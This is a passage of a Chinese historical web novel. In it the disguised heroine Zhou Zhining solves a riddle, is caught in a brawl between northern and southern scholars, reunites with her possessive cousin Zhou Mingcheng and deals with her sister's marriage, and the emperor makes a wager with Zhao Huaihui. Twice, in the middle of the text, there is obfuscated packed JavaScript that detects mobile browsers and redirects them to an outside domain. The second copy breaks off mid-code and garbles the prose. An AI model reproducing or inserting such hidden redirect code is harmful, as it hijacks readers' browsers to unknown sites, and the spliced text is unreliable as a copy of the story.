但话还没说完,他们二人头上忽然响起金文急切的声音:“这位兄台,你是怎么解的二十六寸?” 周稚宁与陈穗和双双抬头,只见金文直勾勾的盯着周稚宁,眼里尽是热切。 “我算对了?”周稚宁起身问,“那你说的一百两可算数?” “算数!”金文立即点头,对着满脸惊异的众人宣布,“这位兄台得出了正确答案,在下于明日午时便开设粥棚,诸位若是不信,可尽管前来督察!” 说完,金文就想拉周稚宁的衣袖:“这位兄台,你到底是如何在这么短的时间内得出答案的?” 但是周稚宁与金文并不熟,立即避开两步,神色疏远。 金文也意识到这一点,他急切道:“你若是因为你我互不相识,就不肯告诉我,那我改日上门拜访。” 陈穗和见状,赶紧拉着周稚宁往人群外走:“周兄,我看这人不太正常,还是先走为上。” 周稚宁也深以为然,二人迅速钻入人群中离开,叫金文连找人拦下的机会都没有。 “欸,这……”金文气了半晌,但又无可奈何,只好转身离开灯迷楼门口,转而上了灯迷楼二楼。 二楼处,有几个锦衣华服的青年正在谈笑。 其中有一人极为不凡,雍容华贵,仪表不俗,见到金文上来,青年笑道:“小文,你不是说无人能解你的题么?方才的场面我看的清楚,那位小兄弟用不了一刻钟,就给解出来了。” 金文有些不服气,嘀嘀咕咕地说:“她解了我的题就走,连怎么解的也不肯跟我说,实在气人!” “家弟的算术能力我知道,京中能胜过他的寥寥无几。”金武对那华贵青年说:“殿下,那人应当是个可用的人才。” 华贵青年面露思索。 28. 周明承? 陈穗和带着周稚宁一同离开了灯迷楼,转到了与之相反方向的城南。 此时,如墨般的天空开始飘起了小雪。时间似乎已经不早了,陈穗和和周稚宁商量一番,决定还是先回客栈休息。 只是今日他们似乎不该出门,一路极为不顺,因为来时还顺畅的胡同口,在此时不知为什么被一群文人堵上了。双方似乎是在吵架,挤挤攘攘的,互不退让。 二人本不想凑热闹,但谁让这个胡同口是去客栈最近的路,若要绕路,则要多走半个时辰。于是二人打算从这群吵架的文人背后绕过,不要惊扰他们就是了。 但二人刚刚靠近,就听到一人操着南方口音,恼怒道:“我南直隶府文士自小修习诗词文卷,自然出挑者甚多。你们北直隶府不重文墨,多是武夫之流,二者之间自然不能比较。你们猜灯谜输给了我们是理所应当,你们应该敢做敢认,怎么反而恼羞成怒,翻脸不认账了?!” 这话刚说出来,很快就有人大声反驳:“胡说八道!这几个灯谜的谜底全是你们南直隶府才有的物什,什么白凤凰,什么石龙子,可我们北直隶府何曾见过这些?你们分明是借了公平比赛的名头,故意挑了你们熟知的事物来羞辱我们!” 原来早在周稚宁和陈穗和二人猜灯谜之前,这群文人就已经在灯迷楼外打过照面了。因着正好南南北北各有四五个文人,于是他们自发组成了两队,比试谁猜的灯谜数量多。 双方各使心力,可北方一直要逊于南方。北方气恼不已,南方自然得意。于是一离开灯迷楼,双方就开始就着灯谜的事论起来。一开始确实是心平气和的你来我往,后面渐渐就变成了剑拔弩张的互相诘问,再到后来,双方都开始忿忿不平,直接在胡同口站定吵了起来。 两拨人各有占一个道理,为了猜灯谜的胜者究竟是谁,吵的脸红脖子粗。但是这种事情光吵是吵不出结果的,所以也不知道是谁先翻起了旧账。 南方说自己出了多少举人、状元,北方这边就说他们出了多少忠臣、武将。南方攻击北方粗鄙无礼,北方就攻击南方矫揉造作。 最后话题竟然一路上升,跑到了科举之上。 因为多年来南北官员交战,考生们或多或少都受过牵连。于是双方又互相举例,自己这边的人受了多少刁难,蒙了多少委屈,落黜了多少人才。 那几个南人也是气狠了,居然口不择言,道:“你们北直隶府就是文荒之地,再怎么吹嘘,会试之时也会败给我们南直隶府。哪怕你们的解元到了我们这里,充其量也只能算作三流文士。往来如此,将来亦是如此!” 由于教育资源并不均衡的原因,导致北方文人怎么也考不过南方文人。哪怕是北方的第一名,在和南方文人放在一起的时候,也只能排到十名开外,甚至更差。 为此,朝廷之内还为了“要不要将南北榜单分开来”这个问题吵了不下数十次。 可见这人的一句话,直接戳到了北方文人们的痛处。 “你、你们——” 北直隶府这边,有一人气得手指发抖,身形摇摆,眼看着就要捂着心脏晕过去了。可这时,他眼角余光却正好瞥见周稚宁站在人群之中。这人显然是认识周稚宁的,当下双眼一亮,方才险些要栽倒的身体立即撑住了。甚至三步并作两步,直接抢上前去一把拉住周稚宁的手。 “既是自小苦读诗书,怎么能不知天外有天,人外有人的道理?”那人指着周稚宁道。 南人一笑,嗤道:“你说的天外天,人外人,莫不就是她?哈哈哈哈!北人不济,竟然到了这种地步,居然让一黄口小儿称雄。” “你休得胡说!你可知,这位简斋兄乃是我们北直隶府的解元!你可还知,她的解元乃是朝廷亲封,由谭素华谭大人亲口传的旨!” 周稚宁不喜这人把自己当压过对方的筹码,她用力挣脱开这人的手,转身就想和陈穗和离开,谁知道这人的话叫对面南人起了几分慎重。 南人皱起眉头,对着周稚宁拱手,主动报出家门:“在下姓秦,名雨花,字慎之,不知阁下如何称呼?” 对方通报姓名,若是自己不理,恐怕这场争论又要升级。 为了避免不必要的争端,周稚宁只好简略道:“周。” “周简斋?”秦雨花将周稚宁上下打量了一下,“若你当真是由朝廷亲封的解元,那还算有些分量。我且问你,你可是要为这些北人出头,与我等一较高下么?” 考试前闹出争端,真被有心人拿捏了,他们这群人谁也逃不了责罚。 于是周稚宁皱眉:“什么南南北北,我只知道大家都是大明文人。同国,同族,不是死敌,又何须比试?” 她分明是不愿,但在秦雨花看来这就是不敢。 秦雨花的慎重褪却了些,取而代之的是一声轻蔑嗤笑。 抓住周稚宁的文人被这声冷笑再度气得不轻,越发恼火:“你冷笑些什么?不是我夸口,简斋兄不是不愿与你比试,而是你不配。若你识相些,能请周明承、唐衔青之流来,再不济叫张峰雪来,我们简斋兄倒愿意比一比。” 听见这几个名字,周稚宁心中一沉,当即道:“这位仁兄,你要搭台子唱戏,何必让我当戏子?会试在即,闹出什么大事来,咱们谁都收不住场。” 那北人,也就是董明辉急了,他道:“你也是北人,怎么甘愿见他们南人骑在我们头上!” 南人闻言也炸了:“分明是你们不讲道理!怎能倒打一耙?!” 北人这边血气方刚的,先前被激了几轮早就按捺不住了,立刻就揪住一个南人的衣襟:“你嘴巴给我放干净一点!说谁倒打一耙呢?再胡咧咧,我打得你满天开花!” 见他动了手,南人们登时也急了,七嘴八舌地开始讲道理。吵吵嚷嚷的,直闹的周稚宁头疼。 南北矛盾已久,再加上这群文人尚年轻,整个就跟个火药桶似的一点就着。 “冷静!大家都冷静!”周稚宁尝试调和,“事情闹大了对谁都不好。” 但是大家都怒火攻心了,没一个听她的,反而有人怒道:“这群北蛮子动手了,大家伙还愣着做什么?打呀!” 然后这个火药桶砰一声,炸了! 一群文人挥手便打,打不过的就拿旁边摊位上的东西乱砸。一时间笔墨纸砚齐飞,把看热闹的都看呆了。 周稚宁眼看着劝不动,又不想加入战火,索性拉着陈穗和要避到一边去。 那里秦雨花已经抓起了鸡毛掸子要打董明辉,董明辉这边的人瞧见之后,大喊一声:“不得了!北蛮子动兵器了!” 这下把整个场面搅和的更乱了,有人直接扛着圆凳冲过来要砸人,结果人没砸着,手里圆凳倒是脱手飞出,直接往周稚宁面门砸来。 周稚宁慌忙避让,可也不知是谁冲过她身边,直接将她撞到在地。她不由满脸冷汗,咬牙闭眼。 这下是要硬挨这一下了! 但她等了好半晌,迟迟不见应有的疼痛传来,她不由睁眼一看,面前不知何时居然站了个长身如玉的背影,一伸手,居然替她挡了这一遭。而那飞过来的圆凳被反摔出去,砸在地面上发出一声巨响。 砰——! 一时间,闹成一团的文人都不由朝这边看来,却又在看见来人之时陡然安静下来。 以秦雨花为代表的北人一时愣住,不知来人是谁,以董明辉为代表的南人却满眼惊喜。 董明辉:“子瞻兄?!” 子、子瞻? 周稚宁看向眼前人,对方一身白衣胜雪,拢在淡淡的雪色月光之中,于昏暗夜色,热闹街头转过身,清亮如三月春水的眸子清晰地倒映出了周稚宁怔怔的脸。 竟是周明承…… 冬日里的天空总像是蒙着一层灰蒙蒙的雾,北京城的房屋尽数被隐没在这些灰暗的色彩之中。初雪洋洋洒洒,似乎纷飞不尽。 茫茫雪色之中,周稚宁看着周明承亲手将她扶起来,又解开了自己的披风替她披上,才将将回过神来。下意识唤了声:“承堂兄。” 周明承一顿,继而眉眼舒展:“我还以为你与我早就生分了,没想到今日还能听到你唤我一句堂兄。” 周稚宁只好抿唇垂眸。 二人的对话叫旁人听去,几人的反应各有不同。 陈穗和满面惊讶不已,他和周稚宁在一起近半个月,有时也谈起过周明承,可周稚宁面色之平淡,根本看不出她竟是周明承的堂弟! 那可是周明承啊,出身高门,灵秀风流,温润如玉,又城府极深。是当之无愧的世家嫡子,也是三年前与赵淮徽一同殿上受试,最终得圣上钦定探花的俊杰。 先前和周稚宁起了争执的董明辉也是脸色不定,一想到自己拿人家堂兄的文气做名头压人,一时间脸色羞愧。 只有以秦雨花为代表的北人不太认识周明承,只看周围人反应推测此人地位甚高,因此一时间没有轻举妄动。 周明承转身对他们说道:“此处不远就是京城府衙,以你们的动静不消多久,就会有佩刀衙役赶来。若你们因此被按上个聚众闹事的名头,这会试怕还未考,名声就已经坏了!” 他说这话时语气虽然不冷,可也全然没有对周稚宁时的柔和。 亲疏偏向,一听便知。 董明辉知道周明承的身份,也明白他所言非虚,当即请罪:“是小子们言行无状,这才惹了祸事。” 其余南人们亦是各自认错。 “念你们是初犯,此事我便令府衙不再追究。”周明承说着,看向人群以外,“收了兵器吧。” 人群外响起收刀入鞘的声音,这群文人才意识到原来他们在说话间,早有佩刀衙役将他们围住了。 秦雨花脸色微变,心头残留的火气一下子就没了。 本来这些文人打起来也只是意气用事,有了周明承告诫,当然不会接着动手。于是都领了周明承的情,一个接一个全散了。 陈穗和的视线在周稚宁与周明承之间游移了一下,看出周明承似乎和周稚宁有话要说,便找了借口独自一人回了客栈,于是最后就剩周稚宁与周明承站在初雪之中四目相对。 当年是周稚宁不声不响跑掉的,如今与周明承再见面当然无话可说。周明承却静静看了周稚宁一会儿,然后伸手替她轻轻拂去了肩头落雪。 “长大了。”周明承声音有些轻,仿佛被这冬夜里的风雪一吹,就能消弭无踪。 周稚宁几乎一怔,随后抬眸看向周明承。 三年不见,周明承也变了。年少时虽然也如温玉一般,可眼神转变之间还是会流露出两分耀眼的少年锋芒。如今的他也似明玉,却更加温和内敛了。 只是…… 周明承像是才喝完酒,薄薄的唇瓣上还沾着一层酒液,冬日下显得晶莹。神色中也仿佛掺杂了些许酒气,明明是极温润的眉眼,可却因为这一丝酒气,多了点难以言喻的邪性,像是极为克己复礼的人,终于借着酒兴展露了自己的阴郁冷寒的底色。 周稚宁定了定神,不再多看,而是问:“承堂兄是怎么找到我的?” “意外碰见。”周明承笑了笑,将那丝寒意深深藏起,好似又是大家熟悉的翩翩公子,“这也算缘分,对吧?” 周稚宁不答。 毕竟这不知该称作是缘分,还是孽缘。 “你离开以后,我曾找人去西河村寻过你,但听说你去了很远的乡下温书,一去就是两三年,音信断绝,几乎毫无消息。”周明承声音温柔,“后来再听到关于你的只言片语,便是你中了解元。我很高兴,本想你应该会差人来告诉我。没想到这封家书等来等去,到底是没等到。就连见这一面,也是因为我在茫茫人海中多瞥了一眼。” 周稚宁叹了口气:“承堂兄可怪我?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12852661|131524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“怪你心狠么?”周明承笑了笑,雪花落在他鸦黑的睫毛上,显得温柔至极,“那我大概是怪的,因为这世上没有一个弟弟,会忍住三年都不与她的兄长通信。但你若是以后改了,我便不再怪你。” 周稚宁虽是无奈,却又笑了笑:“承堂兄,这么些年来,你的性子好似分毫未改。” 还是这般温和,对她也还是这样好。 随后二人并肩而行,冬夜的初雪被他们踩在脚下,发出吱嘎吱嘎的声音。佩刀衙役得了周明承的命令尽数散了回府衙,只余下小厮茗雾端着长柄灯为二人掌灯。 摇曳的烛火从纸灯笼里透出来,像是要灼开浓郁的夜色。 “这些年,你过得如何?”周明承温声问。 “老样子。”周稚宁望着前方雪路,“春秋四季都在埋头苦读。” 周明承轻轻一笑,答复却莫名:“四季轮回是为一载,堂弟,咱们之间却已差了三载有余了。” 语气幽幽,带着些许遗憾。 三载春秋,几年的寒来暑往,伴在周稚宁身边的都不是他周明承…… 然后,周明承偏过头。看见冬夜的月辉似乎格外冷冽,笼罩在雪地上,将周稚宁的眉眼衬的格外秀美,肤色如玉。垂眸时不经意间露出的一截脖颈,竟也带着无边脆弱柔秀。似乎只要稍稍一用力,就能给这雪色的肌肤上留下一点暧昧的痕迹。 不知为何,周明承忽然感到一阵口渴,喉结不自然地滚动了下。 周稚宁这时却抬起眸子,迎着周明承的视线看了过来。 这一眼,恍若年少时他俩并肩走在街头,风声甚急,他为了听清周稚宁的声音而俯身靠近,却又被周稚宁一个抬眸而初尝少年人兵荒马乱的心绪,险些胡言乱语,犯下错处。 但他如今到底不是少年了,他懂得隐藏心绪,也再不会失了仪态风姿。于是他不躲不闪,平静地与周稚宁四目相对。 周稚宁微微一笑,眉眼清丽:“以前却不知道,原来堂兄是个如此在乎时光更替的人。” “并非在乎时光,而是割舍不断亲缘。”周明承轻声,“你我二人终究血脉相连。” 周稚宁明白周明承对她的好,超过了他对自己的任何亲眷。但周稚宁也不明白,为什么周明承单单要对她一个人这般好。 难道这世上真有一见如故,莫名投缘的说法? 周稚宁不理解,便对这份好做不出回应。所以她又沉默了,只低着头走路,好像这条路上有朵花似的。 周明承早明白他这位堂弟的性子,遇到不想回答的事儿,或者不想理的人,要么敷衍,要么一味回避。只是瞧着周稚宁不理他的样子,周明承却不觉得恼怒,唇边反而勾起了一丝微笑,伸手拉了拉周稚宁的袖子,语气无奈而宠溺:“不想回话便算了,好歹瞧着些路,别摔了,到时候伤了叫大夫,你又得嚷嚷着药苦。”然后他又唤:“茗雾,把长柄灯给我。” 长柄灯递到周明承手里,他端稳当了些,就走近周稚宁身边亲自替她掌灯。 此后风雪渐急,两个人彼此再无话说,就这么一路走到了客栈。 周明承知道周稚宁对他其实一直有边界感,他也很会把握分寸,送到客栈门口时就收了灯,温声道:“改日我叫府上人把我的名帖给你送来,你若有事,就尽管拿着名帖去府中寻我。” 周稚宁低低嗯了一声,既像答应,又像是没答应。 周明承笑了下,说:“别闹小孩子脾气,也别遇事死撑着不来寻我。” 说完,他将倾过身子靠近周稚宁,将披在周稚宁身上的披风拢紧了些。 周稚宁不习惯与他人靠的这么近,正要往后略退一步,可转头就对上了周明承一双流光溢彩的眸子。 “堂弟,还有一事需你放心。”周明承声音温柔,“你中解元的事情,我并没有告诉父亲。” 周稚宁一顿,继而凝视周明承的双眸,问:“堂兄,为什么?” 她好像看不透周明承到底想做什么。 但周明承唇边微笑加深,似是在笑周稚宁不该问出这种问题。他伸出手,拂去周稚宁肩头的夜雪,语气低沉而宠溺:“因为我们是兄弟,是最应该亲密无间的兄弟。既然你要扮猪吃虎,那为兄自然会替你掩盖痕迹。” 周稚宁面色略微复杂:“在堂兄所结识的子弟之中,也有如同我们这般的兄弟吗?” “自然有。”周明承笑着看向周稚宁,“他们的亲密程度胜我们千万倍。” 周稚宁不说话了。 周明承又说了句:“夜间记得添衣,免得着凉。” 随后就后退两步,笑着带茗雾转身离开了。 客栈的灯与火被渐渐抛在身后。 茗雾不解地说:“府里那么多少爷、小姐,公子您怎么偏偏喜欢宁公子?我瞧着宁公子对您,并不如其他少爷、小姐柔顺。就单论一条,公子您在府里头问话的时候,从没有人敢不答,可宁公子连不告而别都做得出来。” “茗雾,你很喜欢柔顺的人么?”周明承侧眸问。 “这是自然。”茗雾语气理所当然,“就是咱们府里挑丫鬟小厮,也得挑听话会来事儿的。说再难听点,就那大街上挑小猫小狗,也得挑条顺自己心意的呢。这要不然就是给家里请了个祖宗,这不得闹翻天?” 谁料周明承竟然笑了,说:“可我要的是亲兄弟,不是你口中的丫鬟小厮,也不是小猫小狗。他不用总是顺着我的心意,更不用事事都要应答我、捧着我。”说完,他回眸望了一眼客栈,眼中幽光隐现,“过于柔顺总会令人厌烦,就像府里那群人一样。长长久久的见到同一副面孔,当真令人腻味。宁堂弟她就不一样,但是你应该不会明白,对吧,茗雾?” 茗雾当然不明白,难道事事都听你的还不够好吗?大概这世上只有他家公子会觉得不好吧。唉,他家公子将来最适合娶个会闹腾的烈婆娘…… 29. 二姐婚事 一夜无梦,第二日周稚宁早早的就醒了,正好陈穗和来敲门给她送家书。 周稚宁匆匆整理好仪表放人进来,谁料陈穗和一见着她,就十分夸张地给她行了个礼。周稚宁哭笑不得:“你这是做什么?” “这叫提前抱佛脚,不灵心也安。”陈穗和一本正经地说:“万一哪一天又蹦出个大官儿认你作堂弟、表弟、知心好友、红粉知己什么的,小弟我也能跟着借借光。” 周稚宁一听就知道陈穗和是在点周明承的事儿,毕竟陈穗和对她是坦诚相待,她却另藏秘密,哪怕是另有理由,也难免叫人心有隔阂。 “再不会有了。” 周稚宁苦笑一声,相处到今日,陈穗和的人品周稚宁也信得过,她便将周允能与自家结的仇怨粗略的说了一遍。 陈穗和听罢愣了愣,才道:“以往只知道骨肉至亲是天底下最紧密的,没想到竟然还有这样的事情发生。”说完,他又蹙眉,“既然你们两家有仇,但周明承对你又这般好。你们……这……” 这种罗密欧与朱丽叶的关系,就连一个古人看了也为难。 周稚宁本来也不想把陈穗和牵扯进来,便道:“船到桥头自然直吧。” 陈穗和也是佩服她的态度。 知道了苦衷,陈穗和心里那点不快也没了,反而拍拍周稚宁的肩膀,表达了下他的兄弟义气:“周兄,将来只要你有用得到我的地方尽管开口,我们陈家虽然比不得周家有势,但也不会对不公之事坐视不理的。” 周稚宁笑了下,道:“陈兄仗义相助,我倒不知该如何报答了。” 陈穗和很有北人的豪爽:“报答就不必了,只叫家姐替我编一个扇坠子如何?那般样式的扇坠子我满城都找遍了,都没瞧见一个类似的。” “那扇坠子是我三姐编的,她向来灵秀,不喜按照前人既定的说法来,所以这坠子大概是她想的新编法,市面上见不到。”周稚宁微笑。 陈穗和闻言,抚掌而笑:“好有意思的人,想法当真与众不同。” 见陈穗和笑容里带着满满的赞赏,周稚宁略微思考了一下,唇边不由流露出一丝微笑,但她没有多说,而是向陈穗和伸出手:“你替我拿的家书呢?说来说去,险些把家书忘了。” 陈穗和也不打趣了,连忙将家书递给周稚宁。 这信是杨氏托周允德写的,内容还是周巧慧的婚事。自从周巧珍的事情后,杨氏就不敢再女儿的婚事上擅作主张了,一切都听从周允德和周稚宁的话。所以自接到上次周稚宁寄回家的信件后,杨氏就按照信件里的方法一板一眼地替周巧慧挑选。看哪户人家是既对自家人好,又对旁人好的。 虽然这办法耗时耗力了些,但几个月下来,还真叫杨氏挑到了一个不错的。 那人姓蒋,单名一个言字。相貌生的清秀,人也是好得出奇。说话都轻声细语的,还会教周巧慧认字。周巧慧与他见了几面,又加上信任周稚宁,显然很满意这门婚事。 更重要的是,虽然蒋言他父亲死得早,就剩一个寡母又当爹,又当妈地把蒋言拉扯长大。但他家世代书香,祖上还出过太子太傅。哪怕因为蒋父的去世才家道中落,但家底也颇为丰厚,再加上蒋言又凭借自己的努力成了秀才,未来未必没有振兴家业的希望。 这样一户好人家,前来说媒的人几乎要踏破门槛,照理说这里面其实没有周巧慧的事儿,毕竟家底不丰,家中又只有周允德这么个大龄秀才。杨氏本都要放弃了,可就在这节骨眼儿上,周稚宁得中解元的消息传回了乡,情形一下子就不一样了。解元可比秀才值钱得多,更何况周稚宁还那么年轻,是肉眼可见的少年俊才。 所以这么一来二去的,蒋家就想着直接上门提亲,先把日子定下来再说。家里人没有不愿意的,只有杨氏心里还有周巧珍的阴影,说什么都要给周稚宁写封家书问问意见。 周稚宁捧着信,轻轻叹了口气。 他们全家人,哪个不希望三个姐姐都嫁个好人家?不说穿金戴银,仆人成群,但起码衣食无忧,相公是个知冷知热的好人。所以挑选夫婿都要慎重慎重再慎重,最好是她去亲眼瞧一瞧才好。 但现在她远在千里之外,怕是一年半载都回不了西河村。古代女子的妙龄又如同流水,一眨眼便消逝了,总不能让周巧慧等她回家了再嫁人吧?可是若是就这么轻易地许出去,周稚宁又不放心,毕竟是自己亲姐姐。 因此思来想去,墨都研了一大滩了,周稚宁才提笔写了封回信,希望周巧慧再等一等,不要一时喜欢就决定嫁给这个蒋言,可以再往更大的地方瞧一瞧。若是周巧慧实在喜欢他,也不是不能嫁,但蒋家给的彩礼一定要让她亲自来管。无论是银钱,还是田契铺子,都需一应攥在手里。 然后,周稚宁就想了些可以保障周巧慧婚姻安全的法子,全部写在了家书之中。这回写完之后,家书的厚度居然还上次还夸张,捏在手里简直可以做一个小枕头。 为了不让周巧慧多等,将将把墨吹干,周稚宁就跑到楼下请掌柜的寄了信。看着信客将写有她名字的信封装在信车里,摇摇晃晃的离开,周稚宁眺望的眼神中又带了一点担忧。 与此同时,皇宫内。 赵淮徽在小黄门的引领下,走过了十二道汉白玉桥,进了养心殿。 当今圣上不喜奢侈,所以养心殿的装饰也并不华丽。与寻常人家相比,只是屋内多了一些陈设和暖炉,其余的都无甚差别。 “臣赵淮徽,见过陛下,愿陛下万岁万岁万万岁。” “平身。” 梨花木桌后面,一个体型微胖,笑意盈盈的中年男人虚扶了赵淮徽一把。 “赵卿难得进宫一趟,就不要搞谢恩那套假把式了。”皇帝显然不拘小节,“朕且问你,你替朕寻找天子门生的事情办的如何了?” “臣已物色了几个人选,请陛下过目。” 赵淮徽从袖子里掏出一卷纸,由皇帝身边的大太监呈交给皇帝。 皇帝接过,认真的从头看到尾,只是在看到名单上最后一个人的时候,他眉头一皱:“平江笑笑生?”他略微思索了一下,继而忍不住撇撇嘴,“朕知道这个人。近来有臣子上书,说这个平江笑笑生的文章欺辱朝廷,藐视天威,是为反臣,理应将人抓出来严加处置。你倒是与众不同,居然想把她搜罗来当朕的门生?” 赵淮徽拢袖道:“陛下,看一个人是不是反臣,不能看她说了什么,而是要看她做了什么。” “朕看到了,看到她写了不少文章骂朕还有朕的臣子。”皇帝将名单往桌上一扔,很是疑惑,“你怎么偏偏就选上她了呢?” 赵淮徽抿了抿唇,道:“臣能从她的文章里看出来,她是个心有天下的人。” “你们文人都觉得文如其人,可朕偏偏觉得文未必如其人。”皇帝摇摇头,“朕不同意让她当朕的门生。” 赵淮徽蹙起了眉头,双臂平举,躬身深拜:“还请陛下三思。” “朕说了,朕不答应。哪怕是三思,四思,五思,朕都不会答应。”皇帝换了个舒服的姿势坐好,伸手拿过桌面上的其他奏折,“名单既已交过,该选哪些人朕心里也有数,你就先退下吧。” 赵淮徽不动, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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魏闲委屈巴巴地照办,可椅子端来后赵淮徽还是不坐,又是那句话,语气寒冷如冰:“还请陛下三思。” “赵徽你——”皇帝气得要把手上的折子砸下去,但又确实把一折子给人砸晕了,来日更不好向言官们解释。皇帝只能深吸一口气,努力调整了一下自己的情绪,道:“好好好,你非要朕纳平江笑笑生为门生也可以。”虽然这样说着,但皇帝还有些不甘,他略一思索,便想了个主意,“按理说,我不应该质疑你的眼光,但朕也不想找个爱骂人的书生当朕的门生。不如这样,朕和你打一个赌。就赌这个平江笑笑生能不能在会试之时得个会元,如何?” 赵淮徽抿了抿苍白的唇瓣,问:“敢问陛下,赌注是?” “她的命,和你的官。”皇帝笑笑,“这很公平,对吧?平江笑笑生骂了朕这些年,弹劾她的折子跟这雪花一样多。要是让朕容得下她,那她必得有点真才实学,得会元就是最好的证明。可若是她不能,这就证明她是沽名钓誉之辈,也证明你办事不力,给朕看走了眼。这样新罪、旧罪加起来,朕杀了她再贬你的官儿便不为过。” “可陛下,若是她能呢?” “若是能,朕就按你所言纳她为天子门生,从此直上青云一路。如何?” 赵淮徽神情一松:“臣愿赌。” 这副毫不怀疑的样子倒让皇帝意外:“赵卿,你与这个平江笑笑生素不相识,就敢这么信她?” 赵淮徽拢袖落座,神色略缓:“臣信她,胜过于信自己。”